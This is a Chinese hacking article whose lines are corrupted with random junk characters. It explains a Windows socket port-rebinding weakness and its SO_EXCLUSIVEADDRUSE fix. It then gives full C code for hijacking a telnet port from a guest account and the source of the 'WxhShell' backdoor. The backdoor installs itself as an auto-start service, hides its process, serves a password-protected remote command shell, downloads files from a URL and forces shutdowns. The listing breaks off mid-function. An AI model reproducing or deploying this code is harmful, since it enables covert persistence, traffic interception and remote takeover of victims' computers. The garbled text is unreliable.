在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
S}"?#=Q.%O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-KRHcr \ #unE>#DW saddr.sin_family = AF_INET;
Y^dVNC3vd (xU+Y1*g"% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7R\!'`]\M Isq3YY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&`rV{%N" 1B3,lYBM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4'BzW Z;_a '-#6;_ i< 这意味着什么?意味着可以进行如下的攻击:
;F&wGe b("JgE` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R|Ft@]
<$liWAGX\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
TJtW?c7 > qA5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$ql-"BB !2x"'o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}nE#0n <$.KCLP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+DKrX <.3@-z>w2, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+N[dYm [Hdk=p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@{_PO{=\C '4sT+q #include
f/)3b`$Wu #include
"sFdrXJ #include
2h&pm #include
dh/:H/k kR DWORD WINAPI ClientThread(LPVOID lpParam);
:0T]p"y4 int main()
K! /E0G& {
u2<:mu[|P WORD wVersionRequested;
#py7emu DWORD ret;
NQfIY`lt' WSADATA wsaData;
>1ZMQgCG BOOL val;
"EpE!jh SOCKADDR_IN saddr;
6o;lTOes SOCKADDR_IN scaddr;
LWbWj ^ int err;
.WL507*"Ce SOCKET s;
E08AZOY&g SOCKET sc;
+:&(Ag int caddsize;
C>68$wd> HANDLE mt;
<O$'3_S"D DWORD tid;
cb%w,yXw wVersionRequested = MAKEWORD( 2, 2 );
{>FA ~}cX. err = WSAStartup( wVersionRequested, &wsaData );
Tf@t.4\ if ( err != 0 ) {
Wr)%C printf("error!WSAStartup failed!\n");
ZJ=C[s!wu return -1;
V2/+SvB2 }
rvE!Q=y~ saddr.sin_family = AF_INET;
SO p%{b $Z28nPd/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
g8kw|BgnL A94VSUDA: saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
SgXXitg9+ saddr.sin_port = htons(23);
q/OraPAB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UjKHGsDi4 {
$E7yJ|p{ printf("error!socket failed!\n");
0[3b, return -1;
R:.7c(s }
s?Q`#qD val = TRUE;
;
wHuL\ //SO_REUSEADDR选项就是可以实现端口重绑定的
zx'`'t4~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
bkOm/8k|4 {
b1*6) printf("error!setsockopt failed!\n");
-nk %He return -1;
&tRnI$D }
+H<%)Lk J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d'3'{C|kk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JAiV7v4&R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]hf4= gm {Zseu$c
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Osy5|Ts {
r*p%e\ 3 ret=GetLastError();
$!vi:+ED printf("error!bind failed!\n");
O3BU.X1'% return -1;
_SFD}w3b$ }
2Q k\}KWs listen(s,2);
S i>TG
while(1)
8v6rS-iHP {
', &MYm\ caddsize = sizeof(scaddr);
^#t<ILUa //接受连接请求
ah<f&2f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AMm O+E? if(sc!=INVALID_SOCKET)
pF !vW {
Fh/C{cX9g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R;.WOies4 if(mt==NULL)
5g5pzww {
./g#< printf("Thread Creat Failed!\n");
U92hv~\ break;
kg@J. }
@"EX%v. }
e.kt]l CloseHandle(mt);
X'F$K!o*,: }
c]&VUWQ closesocket(s);
$Yxy(7d7w WSACleanup();
f
0#V^[%Q return 0;
2M1mdkP3 }
h
,n!x:zy@ DWORD WINAPI ClientThread(LPVOID lpParam)
A&7jE:Ew {
1&As:kv5I SOCKET ss = (SOCKET)lpParam;
j w462h SOCKET sc;
K;ML' unsigned char buf[4096];
;5l|-&{@* SOCKADDR_IN saddr;
&tOD long num;
W!^=)Qs
DWORD val;
.WPqK>79| DWORD ret;
mNYz7N //如果是隐藏端口应用的话,可以在此处加一些判断
4>HGwk@+8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.KSGma6] saddr.sin_family = AF_INET;
&Os Ritj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]>,|v,i
= saddr.sin_port = htons(23);
q'r3a+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6;*(6$; {
5`DH\VD.j printf("error!socket failed!\n");
T{M:)}V return -1;
F"C Yrt }
G<eJ0S val = 100;
HXQrtJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mx4*zj {
rY= #^S ret = GetLastError();
c%!wKoD return -1;
BSf"'0I& }
q}i87a;m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l :"*]m7o_ {
Z#O3s:` ret = GetLastError();
c53`E U return -1;
R 2s>;V.: }
co80M;4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6KG 63`aQ {
1aG}-:$t' printf("error!socket connect failed!\n");
aB)DX closesocket(sc);
(I.`bR closesocket(ss);
nE;gM1I return -1;
1%`:8 }
0Kk*~gR? while(1)
{[?|RC;\Y {
xn8B|axB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*% *^a\2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
^aCYh[= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>6 #\1/RP num = recv(ss,buf,4096,0);
$H} Mn"G if(num>0)
M(uB
;Te send(sc,buf,num,0);
>JOvg*a?" else if(num==0)
^nF$<#a break;
rg}kxvu num = recv(sc,buf,4096,0);
T7~v40jn| if(num>0)
!.$P`wKr send(ss,buf,num,0);
"r"An" else if(num==0)
w"i Zn break;
6DW|O<k^j }
*,*qv^ closesocket(ss);
s=
fKAxH closesocket(sc);
y3]"H( return 0 ;
J|24I4 }
8v
1%H8 P;LZ!I 7F:;3c ==========================================================
rC `s;w |l(lrJ{ 下边附上一个代码,,WXhSHELL
s.)w
A`&& !
hr@{CD ==========================================================
y03a\K5[KQ ;_5
=g #include "stdafx.h"
s'Gy+h. R} 9jgB #include <stdio.h>
5q`)jd !*) #include <string.h>
M&c1iK\E8 #include <windows.h>
E]?HCRa5R #include <winsock2.h>
89=JC[c #include <winsvc.h>
F)kLlsp #include <urlmon.h>
NOp=/ <#
r.}T.l #pragma comment (lib, "Ws2_32.lib")
1>x@1Mo+K #pragma comment (lib, "urlmon.lib")
+STzG/9# B^~Bv!tHWr #define MAX_USER 100 // 最大客户端连接数
x>"JWD #define BUF_SOCK 200 // sock buffer
]u ~Fn2 #define KEY_BUFF 255 // 输入 buffer
igj@{FN :vyf-K74M #define REBOOT 0 // 重启
bk9~63tN+> #define SHUTDOWN 1 // 关机
'N ::MN !&jgcw/E #define DEF_PORT 5000 // 监听端口
Lj-&TO}OZ .x?zky^ #define REG_LEN 16 // 注册表键长度
x0$:"68PW #define SVC_LEN 80 // NT服务名长度
[mzF)/[_2 7h&`BS // 从dll定义API
cYy@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4?M3#],'h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^_h7!=W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JgKZ;GM:W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Is6 _ JK]tcP // wxhshell配置信息
7oLf5V1~ struct WSCFG {
%<#3_}"T| int ws_port; // 监听端口
=,8Eo"~\ char ws_passstr[REG_LEN]; // 口令
(My$@l973 int ws_autoins; // 安装标记, 1=yes 0=no
9`n)"r char ws_regname[REG_LEN]; // 注册表键名
v[DbhIXU char ws_svcname[REG_LEN]; // 服务名
z<vO# char ws_svcdisp[SVC_LEN]; // 服务显示名
\ j X N*A char ws_svcdesc[SVC_LEN]; // 服务描述信息
(s@tU>4U char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!"x7re int ws_downexe; // 下载执行标记, 1=yes 0=no
v;}`?@G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jo3}]KC ! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)Z]y.W ) zMr!WoW };
HGQ?(2] 8$ 4zfRD`; // default Wxhshell configuration
X8SRQO^ struct WSCFG wscfg={DEF_PORT,
8u5
'g1M "xuhuanlingzhe",
N|O]z 1,
?-:: {2O) "Wxhshell",
/<7C[^h{- "Wxhshell",
jM1%6 "WxhShell Service",
P9TBQW2G{ "Wrsky Windows CmdShell Service",
Ao,!z "Please Input Your Password: ",
1H,tP|s 1,
Xz.Y-5) "
http://www.wrsky.com/wxhshell.exe",
SM /ykk "Wxhshell.exe"
=6:L +V };
d
O46~ MjXE|3& // 消息定义模块
=Wk/q_. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
W6Aj<{\F char *msg_ws_prompt="\n\r? for help\n\r#>";
7}cDGdr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[&pW&>p3 char *msg_ws_ext="\n\rExit.";
u|OzW}xb7j char *msg_ws_end="\n\rQuit.";
^L-w(r62< char *msg_ws_boot="\n\rReboot...";
^2C /!Y< char *msg_ws_poff="\n\rShutdown...";
$S=~YzO char *msg_ws_down="\n\rSave to ";
(YYj3#| ?cs]#6^ char *msg_ws_err="\n\rErr!";
:IVk_[s char *msg_ws_ok="\n\rOK!";
GKyG
#Fl ;w6fM char ExeFile[MAX_PATH];
T4~`e_ int nUser = 0;
EwD3d0udL HANDLE handles[MAX_USER];
w &|R5Q int OsIsNt;
:K^gu%,&$ "\/^/vn? SERVICE_STATUS serviceStatus;
M6jp1:ZH2q SERVICE_STATUS_HANDLE hServiceStatusHandle;
*|k;a]HT pFJQ7Jlx // 函数声明
EzIs@} int Install(void);
MZ5Y\-nq\ int Uninstall(void);
Z6^QB@moj int DownloadFile(char *sURL, SOCKET wsh);
R>d@tr int Boot(int flag);
n|x$vgb void HideProc(void);
',JrY) int GetOsVer(void);
jWXR__>. int Wxhshell(SOCKET wsl);
v.Xoq void TalkWithClient(void *cs);
I%9bPQ int CmdShell(SOCKET sock);
_^ q\XPS int StartFromService(void);
j1puB int StartWxhshell(LPSTR lpCmdLine);
=9pw uH e2k4[V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bR`rT4.F VOID WINAPI NTServiceHandler( DWORD fdwControl );
L\ }Pzxn ]^:hyOK // 数据结构和表定义
g5[ D& SERVICE_TABLE_ENTRY DispatchTable[] =
_\dt?(m| {
WHUT/:?f {wscfg.ws_svcname, NTServiceMain},
aXdf>2c{JD {NULL, NULL}
)RwBg8 };
wfxOx$]zK hojHbmm4 // 自我安装
=n-z;/NL int Install(void)
}xDB ~k {
}iilzE4oH# char svExeFile[MAX_PATH];
a-]hW=[ HKEY key;
FUaI2 strcpy(svExeFile,ExeFile);
60GFVF]'2 #(%t*"IY; // 如果是win9x系统,修改注册表设为自启动
d/XlV]#2x\ if(!OsIsNt) {
9W*.lf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Bx(yu'g|a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D@8jGcz62 RegCloseKey(key);
Tu]&^[B(' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dG&2,n'f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F=XF] RegCloseKey(key);
F`!TV(,bY return 0;
8HMo.*Ti9 }
u8Y~_)\MA }
*FV0Vy }
#gh
p/YoTq else {
* R%.a^R $ye^uu;Z // 如果是NT以上系统,安装为系统服务
D"L|"qJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[ S5bj]D if (schSCManager!=0)
%drJ p6n% {
D7)(D4S4 SC_HANDLE schService = CreateService
A j,]n>{ (
tNU-2r schSCManager,
LI[ ?~P2\ wscfg.ws_svcname,
TWUUvj`. wscfg.ws_svcdisp,
EYG"49
c SERVICE_ALL_ACCESS,
sltk@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=f>HiF SERVICE_AUTO_START,
`h?LVD'l SERVICE_ERROR_NORMAL,
W9dYljnZ8i svExeFile,
rJu[N(2k NULL,
Vt'L1Wr0v NULL,
!Cw!+fZ\l NULL,
RcQ>eZHl NULL,
UR}kB&t NULL
+ 3h`UF );
"3SWO3-x if (schService!=0)
eK'wVg# {
q/$GE," CloseServiceHandle(schService);
Pey//U CloseServiceHandle(schSCManager);
> @+# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m%pBXXfGYj strcat(svExeFile,wscfg.ws_svcname);
\m f*ge\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3YW=||;|Yg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
BEWro|]cM RegCloseKey(key);
~AQ>g#|% return 0;
1Y#HcW& }
8V-,Xig;` }
%*kLEA*v CloseServiceHandle(schSCManager);
#|Oj]bd(= }
n$4|PO$X }
Y9u;H^^G ' sey D return 1;
g` [` P@ }
%hc'dZ zI^Da!r. // 自我卸载
`B:"6nW6 int Uninstall(void)
pj!:[d {
Ql &0O27 HKEY key;
NG" yPn !,Nwts>m if(!OsIsNt) {
$"\O;dp7l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"~/9F RegDeleteValue(key,wscfg.ws_regname);
j)Y[4 ^k^ RegCloseKey(key);
+{$QAjW(/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cwe1^SJ6y RegDeleteValue(key,wscfg.ws_regname);
]CX[7Q+' RegCloseKey(key);
', {7%G9 return 0;
J
R$r!hX }
+?[BU<X6u }
pZk6w1d! }
ka/XK[/' else {
lZWK2 d"ZU y!a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Cqxv"NN if (schSCManager!=0)
f<<rTE6 {
UXH"si: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O'$K],=BS if (schService!=0)
vfw A$7N {
}gGkV] if(DeleteService(schService)!=0) {
P`jL]x CloseServiceHandle(schService);
pB p#a CloseServiceHandle(schSCManager);
aY)2eY return 0;
ECcZz. }
<G~>~L.E CloseServiceHandle(schService);
>MG(qi }
rNlW7Y CloseServiceHandle(schSCManager);
"e6|"w@8 }
Tycq1i^ }
!kL> ,O>/ jb[!E^'&> return 1;
^"i~DC }
iqwkARG" ?LaUed' // 从指定url下载文件
F$MX,,4U int DownloadFile(char *sURL, SOCKET wsh)
fuX'~$b.fA {
<>Y?vC HRESULT hr;
+4qU> char seps[]= "/";
q,%:h`t\ char *token;
\or G63T: char *file;
H'= (` char myURL[MAX_PATH];
a9U_ug58 char myFILE[MAX_PATH];
JkQ\)^5v qO@@8/l strcpy(myURL,sURL);
3c3OG.H$8 token=strtok(myURL,seps);
q|.dez' while(token!=NULL)
-JT/9IQ {
en*d/>OVJ file=token;
v2+!1r7@ token=strtok(NULL,seps);
%Ym^{N }
)|bC^{kH!l $s5a G)?7 GetCurrentDirectory(MAX_PATH,myFILE);
>[10H8~bI/ strcat(myFILE, "\\");
sEc;!L strcat(myFILE, file);
GV.A+u send(wsh,myFILE,strlen(myFILE),0);
qe$^q send(wsh,"...",3,0);
o@bNpflb` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Q{g;J`Z)p if(hr==S_OK)
28.~iw return 0;
~b~2
>c9 else
zDTv\3rZ4X return 1;
{eS|j= qJ4T]FVN }
-O!/Jv"{,[ @`36ku // 系统电源模块
"&.S&=FlI int Boot(int flag)
tWeFEVg {
IiBD?} HANDLE hToken;
]b/S6oc6 TOKEN_PRIVILEGES tkp;
Hu3wdq *J|(jdu7 if(OsIsNt) {
yp.[HMRD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2i{cQ96 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U?a6D:~G tkp.PrivilegeCount = 1;
b75$?_+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u+H;
@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
WI> P-D if(flag==REBOOT) {
_5
^I.5Z3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
e= vsuqGT return 0;
6z0@I* }
?<Wb@6kh` else {
7{@l%jx][ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZK;z m return 0;
c9qR'2 }
FTc.]laO }
4(6b(]G'# else {
]?O2:X if(flag==REBOOT) {
=@2FX&&E_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5tjP6Z`!9` return 0;
j>Iaq" }
:cu#V else {
;9o;r)9~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j~j jX return 0;
AfeCK1mC @ }
y[B>~m8$ }
m,C1J%{^ 7dsefNPb return 1;
H ]4Hj }
76hOB@ }Sy=My89r // win9x进程隐藏模块
s,#>m*Rh void HideProc(void)
'lHdOG {
@36u8pE W>-Et7&2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]Q]W5WDe: if ( hKernel != NULL )
bR@p<;G| {
Y0?5w0{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
s0Z
uWVip ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Eu"_MgD FreeLibrary(hKernel);
6aM*:>C" }
~4"qV_M W9NX=gE4 return;
7{&|;U }
=zQN[ 8@so"d2e // 获取操作系统版本
.r*2| int GetOsVer(void)
:
]C~gc {
3R+|5Uq8~ OSVERSIONINFO winfo;
boDt`2= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
A}eOFu`
GetVersionEx(&winfo);
cnTaJ/o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/SYw;<= return 1;
9on@Q_7m else
;!(<s,c#: return 0;
E>l~-PaZY }
8OgLn?"P 7uzkp&+: // 客户端句柄模块
#%DE; int Wxhshell(SOCKET wsl)
a+n0|CvF {
m *JaXa SOCKET wsh;
21"1NJzP struct sockaddr_in client;
F$)[kP,wtO DWORD myID;
$|8!BOx8t HTG%t/S while(nUser<MAX_USER)
](hE^\SC {
.9wk@C(Eh_ int nSize=sizeof(client);
'inFKy'H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a\r\PBi if(wsh==INVALID_SOCKET) return 1;
`nu''B
H @;"|@!l| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.mR8q+I6 if(handles[nUser]==0)
7
qS""f7 closesocket(wsh);
jyCXJa-!- else
>7 ="8 nUser++;
$&=S#_HQS }
0)gdB'9V_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$ ` "" jnn}V~L return 0;
%KLpig }
}~L.qG :=Nz}mUV // 关闭 socket
~A\GT$ void CloseIt(SOCKET wsh)
NCDvobYJ {
`x*Pof!Io closesocket(wsh);
.6Pw|xu`Pw nUser--;
\2h!aRWR ExitThread(0);
I`!<9OTBj }
#pnI\ rbWP78 // 客户端请求句柄
'd9INz. void TalkWithClient(void *cs)
8A})V8 {
9w7n1k. 1ukTA@Rj& SOCKET wsh=(SOCKET)cs;
oG_~q
w|h char pwd[SVC_LEN];
T{-CkHf9Q char cmd[KEY_BUFF];
1n;0?MIZ char chr[1];
\XZ/v*d0
int i,j;
=%TWX[w gtppv6<Mj4 while (nUser < MAX_USER) {
<eWf<
"y}-- if(wscfg.ws_passstr) {
X aMJDa|M if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cQ
R]le%( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N2;B-U F
7 //ZeroMemory(pwd,KEY_BUFF);
vg32y /l]S i=0;
P/W
XaE4 while(i<SVC_LEN) {
zBzZxK>$ !$gR{XH$] // 设置超时
k%WTJbuG<) fd_set FdRead;
Pd_U7&w,5 struct timeval TimeOut;
R{SF(g3 FD_ZERO(&FdRead);
4O^xY
6m FD_SET(wsh,&FdRead);
;,%fE2c TimeOut.tv_sec=8;
hcsP2
0s TimeOut.tv_usec=0;
| ATvS2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c(xrP/yOwi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~:s>aQ`! L>Fa^jq5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"#2a8# pwd
=chr[0]; TNe l/
if(chr[0]==0xd || chr[0]==0xa) { )q8p k2
pwd=0; S%Uutj\/W
break; qN9(S:_Px
} 3
/g~A{
i++; NJWA3zz
} 1#< '&Lr
"o-zy'I
// 如果是非法用户,关闭 socket
dy%;W%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "jKY1*?
} B"1c
l<58A7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,~N/- 5
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 61C7.EZZ;
\/r}]Vz
while(1) { 3Ei#q+7
gwuI-d^
ZeroMemory(cmd,KEY_BUFF); $w`xvX
*K8$eDNZ
// 自动支持客户端 telnet标准 ;"5&b!=t
j=0; ;PF<y9M
while(j<KEY_BUFF) { K7_UP&`=J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'T*&'RQr
cmd[j]=chr[0]; &
p
if(chr[0]==0xa || chr[0]==0xd) { NvceYKp:
cmd[j]=0; /=nJRC3.
break; u5`u>.!
} XPXIg
j++; X:"i4i[}{9
} l` lk-nb
]v UwG--*
// 下载文件 ]nn98y+
if(strstr(cmd,"http://")) { RLjc&WhzXu
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $Vg>I>i
if(DownloadFile(cmd,wsh)) y&$A+peJ1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J5K^^RUR
else %v
M-mbX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XJ;57n-?
} ( Y[Q,
else { O3,jg|,
`,<BCu
switch(cmd[0]) { `KoV_2|
m e$Z~/Akm
// 帮助 I{C
SH
case '?': { {UI+$/v#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IVY]Ek EG~
break; r(TIw%L$
} Q~
w|#
// 安装 -l*|M(N\
case 'i': { tCH!my_
if(Install()) B6DYZ+7A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <dtGK~_
else Ty?cC**
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dFB]~QEK
break; kS);xA8s]
} eu-*?]&Di
// 卸载 Se}c[|8
case 'r': { 97*p+T<yp
if(Uninstall()) NH4#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A}9`S6 @@
else K;G~V\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }o(-=lF
break; ?);v`]
} *w\W/ Y
// 显示 wxhshell 所在路径 `*R:gE=
case 'p': { ! n@KU!&k
char svExeFile[MAX_PATH]; BX7kO0j
strcpy(svExeFile,"\n\r"); kbQ>a5`,x
strcat(svExeFile,ExeFile); aB&&YlR=n<
send(wsh,svExeFile,strlen(svExeFile),0); IOmfF[
break; 904}Jh,
} KkbD W3-
// 重启 wlqksG[B
case 'b': { \r+
a GB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .Yn_*L+4*
if(Boot(REBOOT)) ^}o 2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4Cmu;u
else { qo bc<-
closesocket(wsh); 29.h91
ExitThread(0); (hbyEQhF
} @q7I4
break; _]H&,</
} YU'E@t5
// 关机 mz0X3
case 'd': { H<,gU`&R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {JMVV_}n
if(Boot(SHUTDOWN)) ggR.4&<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )3EY;
else { 2^nxoye
closesocket(wsh); @*((1(q
ExitThread(0); lRFYx?y
} q@8*Xa >
break; 2c*GuF9(0
} /82b S|
// 获取shell /a4{?? #e
case 's': { UZ+<\+q3^
CmdShell(wsh); _-g&PXH
closesocket(wsh); EaN6^S=
ExitThread(0); %Q|Atgp
break; u'BaKWPS
} +23xev
// 退出 SO!8Di
case 'x': { wbl&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
|CRn c:
CloseIt(wsh); 0 kW,I
break;
}.6[qk
} wf<M)Rs|
// 离开 &tj!*k'
case 'q': { 0L52#;?Si"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zTU0HR3A
closesocket(wsh); a&? :P1$
WSACleanup(); ;:NJCu G
exit(1); S)@j6(HC4
break; w\O;!1iU
} = dN@Sa/
} 6Z"X}L,*
} ,z=LY5_z)
A.w.rVDD
// 提示信息 k!Y, 63V=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )9]P MA?u
} {+>-7
9b
} 5v*\Zr5ha
Jln:`!#fDf
return; 5Gm_\kd
} ^U/O!GK
|`FY1NN
// shell模块句柄 "3J}b?u_[
int CmdShell(SOCKET sock) G 01ON0
{ _lq`a\7e
STARTUPINFO si; 2GG2jky{/
ZeroMemory(&si,sizeof(si)); $%f&a3#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
gs`q6f%(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j1<Yg,_.p
PROCESS_INFORMATION ProcessInfo; -mh3DhJ,
char cmdline[]="cmd"; ;$Jo+#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); apn*,7ps65
return 0; r9XZ(0/p
} 'Pbr
v
r.U`Kh]K
// 自身启动模式 ^<6[.)
int StartFromService(void) /x *3}oI
{ 7d\QB(~
typedef struct noj0F::m`j
{ nJ;.Td
DWORD ExitStatus; +ZX{>:vo
DWORD PebBaseAddress; B#R|*g:x
DWORD AffinityMask; n=q76W\
DWORD BasePriority; ~$J2g
ULONG UniqueProcessId; |V(0GB
